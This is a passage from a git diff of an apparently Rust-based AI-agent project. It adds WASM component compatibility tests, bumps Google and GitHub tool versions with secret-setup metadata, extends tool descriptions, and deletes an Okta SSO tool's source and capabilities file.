Ok(()) +} + +fn create_engine() -> wasmtime::Engine { + let mut config = wasmtime::Config::new(); + config.wasm_component_model(true); + config.wasm_threads(false); + wasmtime::Engine::new(&config).expect("failed to create wasmtime engine") +} + +#[test] +fn wit_compat_tool_components_compile_and_instantiate() { + let extensions = discover_extensions(); + let engine = create_engine(); + + let tool_extensions: Vec<_> = extensions + .iter() + .filter(|ext| ext.kind == ExtensionKind::Tool) + .collect(); + + if tool_extensions.is_empty() { + eprintln!("SKIP: no tool extensions found in registry"); + return; + } + + let mut found_any = false; + let mut failures: Vec = Vec::new(); + + for ext in &tool_extensions { + let wasm_path = match find_wasm_artifact(&ext.source_dir, &ext.crate_name) { + Some(p) => p, + None => { + eprintln!( + " SKIP {}: no built WASM artifact (run ./scripts/build-wasm-extensions.sh)", + ext.name + ); + continue; + } + }; + + found_any = true; + eprintln!(" TEST {}: {}", ext.name, wasm_path.display()); + + let wasm_bytes = std::fs::read(&wasm_path) + .unwrap_or_else(|e| panic!("failed to read {}: {e}", wasm_path.display())); + + let component = match compile_component(&engine, &wasm_bytes) { + Ok(c) => c, + Err(e) => { + failures.push(format!("{}: {e}", ext.name)); + continue; + } + }; + + if let Err(e) = instantiate_tool_component(&engine, &component) { + failures.push(format!("{}: {e}", ext.name)); + } + } + + if !found_any { + eprintln!("SKIP: no WASM artifacts found (build extensions first)"); + return; + } + + assert!( + failures.is_empty(), + "WIT compatibility failures for tools:\n{}", + failures.join("\n") + ); +} + +#[test] +fn wit_compat_channel_components_compile_and_instantiate() { + let extensions = discover_extensions(); + let engine = create_engine(); + + let channel_extensions: Vec<_> = extensions + .iter() + .filter(|ext| ext.kind == ExtensionKind::Channel) + .collect(); + + if channel_extensions.is_empty() { + eprintln!("SKIP: no channel extensions found in registry"); + return; + } + + let mut found_any = false; + let mut failures: Vec = Vec::new(); + + for ext in &channel_extensions { + let wasm_path = match find_wasm_artifact(&ext.source_dir, &ext.crate_name) { + Some(p) => p, + None => { + eprintln!( + " SKIP {}: no built WASM artifact (run ./scripts/build-wasm-extensions.sh)", + ext.name + ); + continue; + } + }; + + found_any = true; + eprintln!(" TEST {}: {}", ext.name, wasm_path.display()); + + let wasm_bytes = std::fs::read(&wasm_path) + .unwrap_or_else(|e| panic!("failed to read {}: {e}", wasm_path.display())); + + let component = match compile_component(&engine, &wasm_bytes) { + Ok(c) => c, + Err(e) => { + failures.push(format!("{}: {e}", ext.name)); + continue; + } + }; + + if let Err(e) = instantiate_channel_component(&engine, &component) { + failures.push(format!("{}: {e}", ext.name)); + } + } + + if !found_any { + eprintln!("SKIP: no WASM artifacts found (build extensions first)"); + return; + } + + assert!( + failures.is_empty(), + "WIT compatibility failures for channels:\n{}", + failures.join("\n") + ); +} + +#[test] +fn wit_compat_all_registry_extensions_have_source() { + let repo_root = PathBuf::from(env!("CARGO_MANIFEST_DIR")); + let mut missing = Vec::new(); + + for dir in &["registry/tools", "registry/channels"] { + let registry_dir = repo_root.join(dir); + if !registry_dir.exists() { + continue; + } + + for entry in std::fs::read_dir(®istry_dir).expect("failed to read registry dir") { + let entry = entry.expect("failed to read directory entry"); + let path = entry.path(); + if path.extension().and_then(|e| e.to_str()) != Some("json") { + continue; + } + + let content = std::fs::read_to_string(&path).unwrap(); + let manifest: serde_json::Value = serde_json::from_str(&content).unwrap(); + + let name = manifest["name"].as_str().unwrap_or("unknown"); + let source_dir = manifest["source"]["dir"].as_str(); + let crate_name = manifest["source"]["crate_name"].as_str(); + + match (source_dir, crate_name) { + (Some(d), Some(_)) => { + if !repo_root.join(d).exists() { + missing.push(format!("{name}: source dir '{d}' does not exist")); + } + } + _ => { + missing.push(format!("{name}: missing source.dir or source.crate_name")); + } + } + } + } + + assert!( + missing.is_empty(), + "Registry entries with missing sources:\n{}", + missing.join("\n") + ); +} + +#[test] +fn wit_files_contain_version_annotation() { + let repo_root = PathBuf::from(env!("CARGO_MANIFEST_DIR")); + + for wit_file in &["wit/tool.wit", "wit/channel.wit"] { + let path = repo_root.join(wit_file); + let content = std::fs::read_to_string(&path) + .unwrap_or_else(|e| panic!("failed to read {wit_file}: {e}")); + + assert!( + content.contains("package near:agent@"), + "{wit_file} must contain a versioned package declaration (e.g., 'package near:agent@0.3.0;')" + ); + } +} + +#[test] +fn wit_version_constants_match_wit_files() { + let repo_root = PathBuf::from(env!("CARGO_MANIFEST_DIR")); + + let tool_wit = std::fs::read_to_string(repo_root.join("wit/tool.wit")) + .expect("failed to read wit/tool.wit"); + let channel_wit = std::fs::read_to_string(repo_root.join("wit/channel.wit")) + .expect("failed to read wit/channel.wit"); + + let expected_tool = format!( + "package near:agent@{};", + ironclaw::tools::wasm::WIT_TOOL_VERSION + ); + let expected_channel = format!( + "package near:agent@{};", + ironclaw::tools::wasm::WIT_CHANNEL_VERSION + ); + + assert!( + tool_wit.contains(&expected_tool), + "wit/tool.wit version must match WIT_TOOL_VERSION constant ({})", + ironclaw::tools::wasm::WIT_TOOL_VERSION + ); + assert!( + channel_wit.contains(&expected_channel), + "wit/channel.wit version must match WIT_CHANNEL_VERSION constant ({})", + ironclaw::tools::wasm::WIT_CHANNEL_VERSION + ); +} diff --git a/tests/ws_gateway_integration.rs b/tests/ws_gateway_integration.rs index a3cc72c0..da44f766 100644 --- a/tests/ws_gateway_integration.rs +++ b/tests/ws_gateway_integration.rs @@ -43,11 +43,13 @@ async fn start_test_server() -> ( workspace: None, session_manager: None, log_broadcaster: None, + log_level_handle: None, extension_manager: None, tool_registry: None, store: None, job_manager: None, prompt_queue: None, + scheduler: None, user_id: "test-user".to_string(), shutdown_tx: tokio::sync::RwLock::new(None), ws_tracker: Some(Arc::new(WsConnectionTracker::new())), @@ -55,6 +57,10 @@ async fn start_test_server() -> ( skill_registry: None, skill_catalog: None, chat_rate_limiter: ironclaw::channels::web::server::RateLimiter::new(30, 60), + registry_entries: Vec::new(), + cost_guard: None, + routine_engine: Arc::new(tokio::sync::RwLock::new(None)), + startup_time: std::time::Instant::now(), }); let addr: SocketAddr = "127.0.0.1:0".parse().unwrap(); @@ -307,6 +313,8 @@ async fn test_ws_multiple_events_in_sequence() { state.sse.broadcast(SseEvent::ToolCompleted { name: "shell".to_string(), success: true, + error: None, + parameters: None, thread_id: None, }); state.sse.broadcast(SseEvent::Response { diff --git a/tools-src/github/Cargo.toml b/tools-src/github/Cargo.toml index 585e2679..7f1c2630 100644 --- a/tools-src/github/Cargo.toml +++ b/tools-src/github/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "github-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "GitHub integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -20,3 +20,5 @@ lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/github/github-tool.capabilities.json b/tools-src/github/github-tool.capabilities.json index 1195d575..48c53dbf 100644 --- a/tools-src/github/github-tool.capabilities.json +++ b/tools-src/github/github-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "capabilities": { "http": { "allowlist": [ @@ -34,6 +36,22 @@ ] } }, + "auth": { + "secret_name": "github_token", + "display_name": "GitHub", + "instructions": "Create a Personal Access Token at github.com/settings/tokens with repo scope, then paste it here.", + "setup_url": "https://github.com/settings/tokens", + "token_hint": "Starts with 'ghp_' or 'github_pat_'", + "env_var": "GITHUB_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "github_token", + "prompt": "GitHub Personal Access Token (create one at github.com/settings/tokens with 'repo' scope)" + } + ] + }, "config": { "default_limit": 30, "max_limit": 100 diff --git a/tools-src/gmail/Cargo.toml b/tools-src/gmail/Cargo.toml index 533f2aa4..1da6b4d7 100644 --- a/tools-src/gmail/Cargo.toml +++ b/tools-src/gmail/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "gmail-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Gmail integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -19,3 +19,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/gmail/gmail-tool.capabilities.json b/tools-src/gmail/gmail-tool.capabilities.json index 013cd690..2e11d32b 100644 --- a/tools-src/gmail/gmail-tool.capabilities.json +++ b/tools-src/gmail/gmail-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -42,5 +44,17 @@ } }, "env_var": "GOOGLE_OAUTH_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "google_oauth_client_id", + "prompt": "Google OAuth Client ID (from console.cloud.google.com/apis/credentials)" + }, + { + "name": "google_oauth_client_secret", + "prompt": "Google OAuth Client Secret" + } + ] } } diff --git a/tools-src/gmail/src/lib.rs b/tools-src/gmail/src/lib.rs index 221fd072..c0f45008 100644 --- a/tools-src/gmail/src/lib.rs +++ b/tools-src/gmail/src/lib.rs @@ -110,7 +110,9 @@ impl exports::near::agent::tool::Guest for GmailTool { fn description() -> String { "Gmail integration for reading, searching, sending, drafting, and replying to emails. \ Supports Gmail search query syntax (is:unread, from:, subject:, after:, etc.). \ - Requires a Google OAuth token with gmail.modify and gmail.compose scopes." + Requires a Google OAuth token with gmail.modify and gmail.compose scopes. \ + To discover all available API operations, use http GET to fetch \ + (public, no auth needed)." .to_string() } } diff --git a/tools-src/google-calendar/Cargo.toml b/tools-src/google-calendar/Cargo.toml index a6c9a5a4..deef7e46 100644 --- a/tools-src/google-calendar/Cargo.toml +++ b/tools-src/google-calendar/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "google-calendar-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Google Calendar integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -19,3 +19,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/google-calendar/google-calendar-tool.capabilities.json b/tools-src/google-calendar/google-calendar-tool.capabilities.json index 7ea74499..15e756ae 100644 --- a/tools-src/google-calendar/google-calendar-tool.capabilities.json +++ b/tools-src/google-calendar/google-calendar-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -41,5 +43,17 @@ } }, "env_var": "GOOGLE_OAUTH_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "google_oauth_client_id", + "prompt": "Google OAuth Client ID (from console.cloud.google.com/apis/credentials)" + }, + { + "name": "google_oauth_client_secret", + "prompt": "Google OAuth Client Secret" + } + ] } } diff --git a/tools-src/google-calendar/src/lib.rs b/tools-src/google-calendar/src/lib.rs index 9cfd8ca3..814c5b84 100644 --- a/tools-src/google-calendar/src/lib.rs +++ b/tools-src/google-calendar/src/lib.rs @@ -129,7 +129,9 @@ impl exports::near::agent::tool::Guest for GoogleCalendarTool { fn description() -> String { "Google Calendar integration for viewing, creating, updating, and deleting calendar \ events. Requires a Google Calendar OAuth token with the calendar.events scope. \ - Supports timed events, all-day events, attendees, locations, and free text search." + Supports timed events, all-day events, attendees, locations, and free text search. \ + To discover all available API operations, use http GET to fetch \ + (public, no auth needed)." .to_string() } } diff --git a/tools-src/google-docs/Cargo.toml b/tools-src/google-docs/Cargo.toml index 7348343d..c1142e6a 100644 --- a/tools-src/google-docs/Cargo.toml +++ b/tools-src/google-docs/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "google-docs-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Google Docs integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -19,3 +19,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/google-docs/google-docs-tool.capabilities.json b/tools-src/google-docs/google-docs-tool.capabilities.json index 9beee15d..7a365c1d 100644 --- a/tools-src/google-docs/google-docs-tool.capabilities.json +++ b/tools-src/google-docs/google-docs-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -41,5 +43,17 @@ } }, "env_var": "GOOGLE_OAUTH_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "google_oauth_client_id", + "prompt": "Google OAuth Client ID (from console.cloud.google.com/apis/credentials)" + }, + { + "name": "google_oauth_client_secret", + "prompt": "Google OAuth Client Secret" + } + ] } } diff --git a/tools-src/google-docs/src/lib.rs b/tools-src/google-docs/src/lib.rs index 3b2176d0..fe625ef0 100644 --- a/tools-src/google-docs/src/lib.rs +++ b/tools-src/google-docs/src/lib.rs @@ -199,7 +199,9 @@ impl exports::near::agent::tool::Guest for GoogleDocsTool { bulleted/numbered lists. Also provides a batch_update action for complex multi-step \ edits executed atomically. Document IDs are the same as Google Drive file IDs, so use \ the google-drive tool to search for existing documents. Requires a Google OAuth token \ - with the documents scope." + with the documents scope. \ + To discover all available API operations, use http GET to fetch \ + (public, no auth needed)." .to_string() } } diff --git a/tools-src/google-drive/Cargo.toml b/tools-src/google-drive/Cargo.toml index 2b07f666..7e9523b7 100644 --- a/tools-src/google-drive/Cargo.toml +++ b/tools-src/google-drive/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "google-drive-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Google Drive integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -19,3 +19,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/google-drive/google-drive-tool.capabilities.json b/tools-src/google-drive/google-drive-tool.capabilities.json index 54c1735c..53667933 100644 --- a/tools-src/google-drive/google-drive-tool.capabilities.json +++ b/tools-src/google-drive/google-drive-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -46,5 +48,17 @@ } }, "env_var": "GOOGLE_OAUTH_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "google_oauth_client_id", + "prompt": "Google OAuth Client ID (from console.cloud.google.com/apis/credentials)" + }, + { + "name": "google_oauth_client_secret", + "prompt": "Google OAuth Client Secret" + } + ] } } diff --git a/tools-src/google-drive/src/lib.rs b/tools-src/google-drive/src/lib.rs index 0bed57d2..87363cd9 100644 --- a/tools-src/google-drive/src/lib.rs +++ b/tools-src/google-drive/src/lib.rs @@ -160,7 +160,9 @@ impl exports::near::agent::tool::Guest for GoogleDriveTool { files and folders. Supports personal drives and shared (organizational) drives via the \ corpora parameter. Can search with Drive query syntax, download text files, upload new \ files, manage folder structure, and control sharing permissions. Requires a Google OAuth \ - token with the drive scope." + token with the drive scope. \ + To discover all available API operations, use http GET to fetch \ + (public, no auth needed)." .to_string() } } diff --git a/tools-src/google-sheets/Cargo.toml b/tools-src/google-sheets/Cargo.toml index 39a52e18..3ad44cd0 100644 --- a/tools-src/google-sheets/Cargo.toml +++ b/tools-src/google-sheets/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "google-sheets-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Google Sheets integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -19,3 +19,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/google-sheets/google-sheets-tool.capabilities.json b/tools-src/google-sheets/google-sheets-tool.capabilities.json index 0e64fb1e..624c4381 100644 --- a/tools-src/google-sheets/google-sheets-tool.capabilities.json +++ b/tools-src/google-sheets/google-sheets-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -41,5 +43,17 @@ } }, "env_var": "GOOGLE_OAUTH_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "google_oauth_client_id", + "prompt": "Google OAuth Client ID (from console.cloud.google.com/apis/credentials)" + }, + { + "name": "google_oauth_client_secret", + "prompt": "Google OAuth Client Secret" + } + ] } } diff --git a/tools-src/google-sheets/src/lib.rs b/tools-src/google-sheets/src/lib.rs index f7d7687f..b83c0b73 100644 --- a/tools-src/google-sheets/src/lib.rs +++ b/tools-src/google-sheets/src/lib.rs @@ -174,7 +174,9 @@ impl exports::near::agent::tool::Guest for GoogleSheetsTool { (tab) management (add, delete, rename), and cell formatting (bold, colors, alignment, \ number formats). Spreadsheet IDs are the same as Google Drive file IDs, so use the \ google-drive tool to search for existing spreadsheets. Requires a Google OAuth token \ - with the spreadsheets scope." + with the spreadsheets scope. \ + To discover all available API operations, use http GET to fetch \ + (public, no auth needed)." .to_string() } } diff --git a/tools-src/google-slides/Cargo.toml b/tools-src/google-slides/Cargo.toml index f6a3bfe0..1eeed37d 100644 --- a/tools-src/google-slides/Cargo.toml +++ b/tools-src/google-slides/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "google-slides-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Google Slides integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -19,3 +19,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/google-slides/google-slides-tool.capabilities.json b/tools-src/google-slides/google-slides-tool.capabilities.json index ce99d7a3..17334bc0 100644 --- a/tools-src/google-slides/google-slides-tool.capabilities.json +++ b/tools-src/google-slides/google-slides-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -41,5 +43,17 @@ } }, "env_var": "GOOGLE_OAUTH_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "google_oauth_client_id", + "prompt": "Google OAuth Client ID (from console.cloud.google.com/apis/credentials)" + }, + { + "name": "google_oauth_client_secret", + "prompt": "Google OAuth Client Secret" + } + ] } } diff --git a/tools-src/google-slides/src/lib.rs b/tools-src/google-slides/src/lib.rs index 170958bf..eb818562 100644 --- a/tools-src/google-slides/src/lib.rs +++ b/tools-src/google-slides/src/lib.rs @@ -209,7 +209,9 @@ impl exports::near::agent::tool::Guest for GoogleSlidesTool { Also provides a batch_update action for complex multi-step edits executed atomically. \ Positions and sizes use points (standard slide is 720x405 pt). Presentation IDs are the \ same as Google Drive file IDs, so use the google-drive tool to search for existing \ - presentations. Requires a Google OAuth token with the presentations scope." + presentations. Requires a Google OAuth token with the presentations scope. \ + To discover all available API operations, use http GET to fetch \ + (public, no auth needed)." .to_string() } } diff --git a/tools-src/okta/Cargo.toml b/tools-src/okta/Cargo.toml deleted file mode 100644 index e399d494..00000000 --- a/tools-src/okta/Cargo.toml +++ /dev/null @@ -1,21 +0,0 @@ -[package] -name = "okta-tool" -version = "0.1.0" -edition = "2021" -description = "Okta SSO tool for IronClaw (WASM component) — user profile, app catalog, and SSO launch links" -license = "MIT OR Apache-2.0" -publish = false - -[lib] -crate-type = ["cdylib"] - -[dependencies] -wit-bindgen = "=0.36" -serde = { version = "1", features = ["derive"] } -serde_json = "1" - -[profile.release] -opt-level = "s" -lto = true -strip = true -codegen-units = 1 diff --git a/tools-src/okta/okta-tool.capabilities.json b/tools-src/okta/okta-tool.capabilities.json deleted file mode 100644 index 14a0879d..00000000 --- a/tools-src/okta/okta-tool.capabilities.json +++ /dev/null @@ -1,93 +0,0 @@ -{ - "http": { - "allowlist": [ - { - "host": "*.okta.com", - "path_prefix": "/api/v1/", - "methods": ["GET", "POST", "PUT"] - }, - { - "host": "*.okta.com", - "path_prefix": "/idp/myaccount/", - "methods": ["GET", "PUT"] - }, - { - "host": "*.okta.com", - "path_prefix": "/oauth2/v1/", - "methods": ["POST"] - }, - { - "host": "*.oktapreview.com", - "path_prefix": "/api/v1/", - "methods": ["GET", "POST", "PUT"] - }, - { - "host": "*.oktapreview.com", - "path_prefix": "/idp/myaccount/", - "methods": ["GET", "PUT"] - }, - { - "host": "*.oktapreview.com", - "path_prefix": "/oauth2/v1/", - "methods": ["POST"] - }, - { - "host": "*.okta-emea.com", - "path_prefix": "/api/v1/", - "methods": ["GET", "POST", "PUT"] - }, - { - "host": "*.okta-emea.com", - "path_prefix": "/idp/myaccount/", - "methods": ["GET", "PUT"] - }, - { - "host": "*.okta-emea.com", - "path_prefix": "/oauth2/v1/", - "methods": ["POST"] - } - ], - "credentials": { - "okta_oauth_token": { - "secret_name": "okta_oauth_token", - "location": { "type": "bearer" }, - "host_patterns": ["*.okta.com", "*.oktapreview.com", "*.okta-emea.com"] - } - }, - "rate_limit": { - "requests_per_minute": 30, - "requests_per_hour": 500 - }, - "timeout_secs": 30 - }, - "workspace": { - "allowed_prefixes": ["okta/"] - }, - "secrets": { - "allowed_names": ["okta_oauth_token"] - }, - "auth": { - "secret_name": "okta_oauth_token", - "display_name": "Okta", - "oauth": { - "authorization_url": "https://{okta_domain}/oauth2/v1/authorize", - "token_url": "https://{okta_domain}/oauth2/v1/token", - "client_id_env": "OKTA_OAUTH_CLIENT_ID", - "client_secret_env": "OKTA_OAUTH_CLIENT_SECRET", - "scopes": [ - "openid", - "profile", - "email", - "offline_access", - "okta.users.read.self", - "okta.users.manage.self", - "okta.apps.read" - ], - "use_pkce": true - }, - "instructions": "1. In your Okta Admin Console, go to Applications > Create App Integration\n2. Select 'OIDC - OpenID Connect', then 'Web Application'\n3. Set Sign-in redirect URI to http://localhost:9876/callback (through :9886)\n4. Under Okta API Scopes, grant: okta.users.read.self, okta.users.manage.self, okta.apps.read\n5. Copy the Client ID and Client Secret\n6. IMPORTANT: You must use the Org Authorization Server (not a custom one)\n7. Store your Okta domain in workspace at 'okta/domain' (e.g., 'mycompany.okta.com')\n8. For custom domains, add them to okta-tool.capabilities.json allowlist", - "setup_url": "https://developer.okta.com/docs/guides/implement-oauth-for-okta/main/", - "token_hint": "OAuth2 access token (JWT)", - "env_var": "OKTA_OAUTH_TOKEN" - } -} diff --git a/tools-src/okta/src/api.rs b/tools-src/okta/src/api.rs deleted file mode 100644 index 684947fd..00000000 --- a/tools-src/okta/src/api.rs +++ /dev/null @@ -1,281 +0,0 @@ -use crate::near::agent::host; -use crate::types::*; - -const WORKSPACE_DOMAIN_PATH: &str = "okta/domain"; - -/// Read the configured Okta domain from workspace, or return a helpful error. -fn get_domain() -> Result { - host::workspace_read(WORKSPACE_DOMAIN_PATH).ok_or_else(|| { - "Okta domain not configured. Write your Okta domain to workspace path 'okta/domain' \ - using the memory_write tool (e.g., memory_write with path='okta/domain' and \ - content='mycompany.okta.com')." - .to_string() - }) -} - -/// Build the base URL for the Okta Management API. -fn management_base(domain: &str) -> String { - format!("https://{}/api/v1", domain) -} - -/// Make an Okta API call. -fn okta_api_call(method: &str, url: &str, body: Option<&str>) -> Result { - let headers = if body.is_some() { - r#"{"Content-Type": "application/json", "Accept": "application/json"}"# - } else { - r#"{"Accept": "application/json"}"# - }; - - let body_bytes = body.map(|b| b.as_bytes().to_vec()); - - host::log( - host::LogLevel::Debug, - &format!("Okta API: {} {}", method, url), - ); - - let response = host::http_request(method, url, headers, body_bytes.as_deref())?; - - if response.status < 200 || response.status >= 300 { - let body_text = String::from_utf8_lossy(&response.body); - // Try to extract Okta's error summary for a better message. - if let Ok(parsed) = serde_json::from_str::(&body_text) { - if let Some(summary) = parsed["errorSummary"].as_str() { - return Err(format!("Okta API error ({}): {}", response.status, summary)); - } - } - return Err(format!( - "Okta API returned status {}: {}", - response.status, body_text - )); - } - - String::from_utf8(response.body).map_err(|e| format!("Invalid UTF-8: {}", e)) -} - -// --------------------------------------------------------------------------- -// Action implementations -// --------------------------------------------------------------------------- - -/// GET /api/v1/users/me -pub fn get_profile() -> Result { - let domain = get_domain()?; - let url = format!("{}/users/me", management_base(&domain)); - let response = okta_api_call("GET", &url, None)?; - - let parsed: serde_json::Value = - serde_json::from_str(&response).map_err(|e| format!("Failed to parse response: {}", e))?; - - let profile = parse_user_profile(&parsed)?; - serde_json::to_string(&profile).map_err(|e| e.to_string()) -} - -/// POST /api/v1/users/me (partial update via Management API) -pub fn update_profile(fields: &serde_json::Value) -> Result { - let domain = get_domain()?; - let url = format!("{}/users/me", management_base(&domain)); - - // Wrap fields under "profile" key for Okta's expected format. - let payload = serde_json::json!({ "profile": fields }); - let body = serde_json::to_string(&payload).map_err(|e| e.to_string())?; - - let response = okta_api_call("POST", &url, Some(&body))?; - - let parsed: serde_json::Value = - serde_json::from_str(&response).map_err(|e| format!("Failed to parse response: {}", e))?; - - let profile = parse_user_profile(&parsed)?; - let result = UpdateProfileResult { - success: true, - profile, - }; - serde_json::to_string(&result).map_err(|e| e.to_string()) -} - -/// GET /api/v1/users/me/appLinks -pub fn list_apps() -> Result { - let domain = get_domain()?; - let url = format!("{}/users/me/appLinks", management_base(&domain)); - let response = okta_api_call("GET", &url, None)?; - - let parsed: serde_json::Value = - serde_json::from_str(&response).map_err(|e| format!("Failed to parse response: {}", e))?; - - let apps = parse_app_links(&parsed)?; - let count = apps.len(); - let result = ListAppsResult { apps, count }; - serde_json::to_string(&result).map_err(|e| e.to_string()) -} - -/// Search apps by label (case-insensitive substring match). -pub fn search_apps(query: &str) -> Result { - let domain = get_domain()?; - let url = format!("{}/users/me/appLinks", management_base(&domain)); - let response = okta_api_call("GET", &url, None)?; - - let parsed: serde_json::Value = - serde_json::from_str(&response).map_err(|e| format!("Failed to parse response: {}", e))?; - - let all_apps = parse_app_links(&parsed)?; - let query_lower = query.to_lowercase(); - - let apps: Vec = all_apps - .into_iter() - .filter(|app| { - app.label.to_lowercase().contains(&query_lower) - || app.app_name.to_lowercase().contains(&query_lower) - }) - .collect(); - - let count = apps.len(); - let result = ListAppsResult { apps, count }; - serde_json::to_string(&result).map_err(|e| e.to_string()) -} - -/// Find an app by ID or label and return its SSO launch link. -pub fn get_app_sso_link(app: &str) -> Result { - let domain = get_domain()?; - let url = format!("{}/users/me/appLinks", management_base(&domain)); - let response = okta_api_call("GET", &url, None)?; - - let parsed: serde_json::Value = - serde_json::from_str(&response).map_err(|e| format!("Failed to parse response: {}", e))?; - - let all_apps = parse_app_links(&parsed)?; - let app_lower = app.to_lowercase(); - - // Try exact ID match first, then case-insensitive label match. - let found = all_apps - .iter() - .find(|a| a.app_instance_id == app) - .or_else(|| { - all_apps - .iter() - .find(|a| a.label.to_lowercase() == app_lower) - }) - .or_else(|| { - all_apps - .iter() - .find(|a| a.label.to_lowercase().contains(&app_lower)) - }); - - match found { - Some(app_link) => { - let result = AppSsoLinkResult { - label: app_link.label.clone(), - link_url: app_link.link_url.clone(), - app_instance_id: app_link.app_instance_id.clone(), - app_name: app_link.app_name.clone(), - }; - serde_json::to_string(&result).map_err(|e| e.to_string()) - } - None => { - let available: Vec = all_apps.iter().map(|a| a.label.clone()).collect(); - Err(format!( - "App '{}' not found. Available apps: {}", - app, - available.join(", ") - )) - } - } -} - -/// GET /idp/myaccount/organization -pub fn get_org_info() -> Result { - let domain = get_domain()?; - let url = format!("https://{}/idp/myaccount/organization", domain); - - // MyAccount API requires the okta-version header. - let response = okta_api_call_with_headers( - "GET", - &url, - None, - r#"{"Accept": "application/json; okta-version=1.0.0"}"#, - )?; - - let parsed: serde_json::Value = - serde_json::from_str(&response).map_err(|e| format!("Failed to parse response: {}", e))?; - - let result = OrgInfo { - id: parsed["id"].as_str().unwrap_or("").to_string(), - name: parsed["name"].as_str().unwrap_or("").to_string(), - subdomain: parsed["subdomain"].as_str().map(|s| s.to_string()), - website: parsed["website"].as_str().map(|s| s.to_string()), - support_phone: parsed["supportPhoneNumber"].as_str().map(|s| s.to_string()), - technical_contact: parsed["technicalContact"].as_str().map(|s| s.to_string()), - }; - serde_json::to_string(&result).map_err(|e| e.to_string()) -} - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -/// Like `okta_api_call` but with custom headers (for MyAccount API versioning). -fn okta_api_call_with_headers( - method: &str, - url: &str, - body: Option<&str>, - headers: &str, -) -> Result { - let body_bytes = body.map(|b| b.as_bytes().to_vec()); - - host::log( - host::LogLevel::Debug, - &format!("Okta API: {} {}", method, url), - ); - - let response = host::http_request(method, url, headers, body_bytes.as_deref())?; - - if response.status < 200 || response.status >= 300 { - let body_text = String::from_utf8_lossy(&response.body); - if let Ok(parsed) = serde_json::from_str::(&body_text) { - if let Some(summary) = parsed["errorSummary"].as_str() { - return Err(format!("Okta API error ({}): {}", response.status, summary)); - } - } - return Err(format!( - "Okta API returned status {}: {}", - response.status, body_text - )); - } - - String::from_utf8(response.body).map_err(|e| format!("Invalid UTF-8: {}", e)) -} - -fn parse_user_profile(v: &serde_json::Value) -> Result { - let p = &v["profile"]; - Ok(UserProfile { - id: v["id"].as_str().unwrap_or("").to_string(), - status: v["status"].as_str().unwrap_or("").to_string(), - first_name: p["firstName"].as_str().unwrap_or("").to_string(), - last_name: p["lastName"].as_str().unwrap_or("").to_string(), - email: p["email"].as_str().unwrap_or("").to_string(), - login: p["login"].as_str().unwrap_or("").to_string(), - mobile_phone: p["mobilePhone"].as_str().map(|s| s.to_string()), - display_name: p["displayName"].as_str().map(|s| s.to_string()), - nick_name: p["nickName"].as_str().map(|s| s.to_string()), - title: p["title"].as_str().map(|s| s.to_string()), - department: p["department"].as_str().map(|s| s.to_string()), - organization: p["organization"].as_str().map(|s| s.to_string()), - timezone: p["timezone"].as_str().map(|s| s.to_string()), - locale: p["locale"].as_str().map(|s| s.to_string()), - }) -} - -fn parse_app_links(v: &serde_json::Value) -> Result, String> { - let arr = v - .as_array() - .ok_or_else(|| "Expected array of app links from Okta".to_string())?; - - Ok(arr - .iter() - .map(|a| AppLink { - app_instance_id: a["appInstanceId"].as_str().unwrap_or("").to_string(), - label: a["label"].as_str().unwrap_or("").to_string(), - link_url: a["linkUrl"].as_str().unwrap_or("").to_string(), - logo_url: a["logoUrl"].as_str().map(|s| s.to_string()), - app_name: 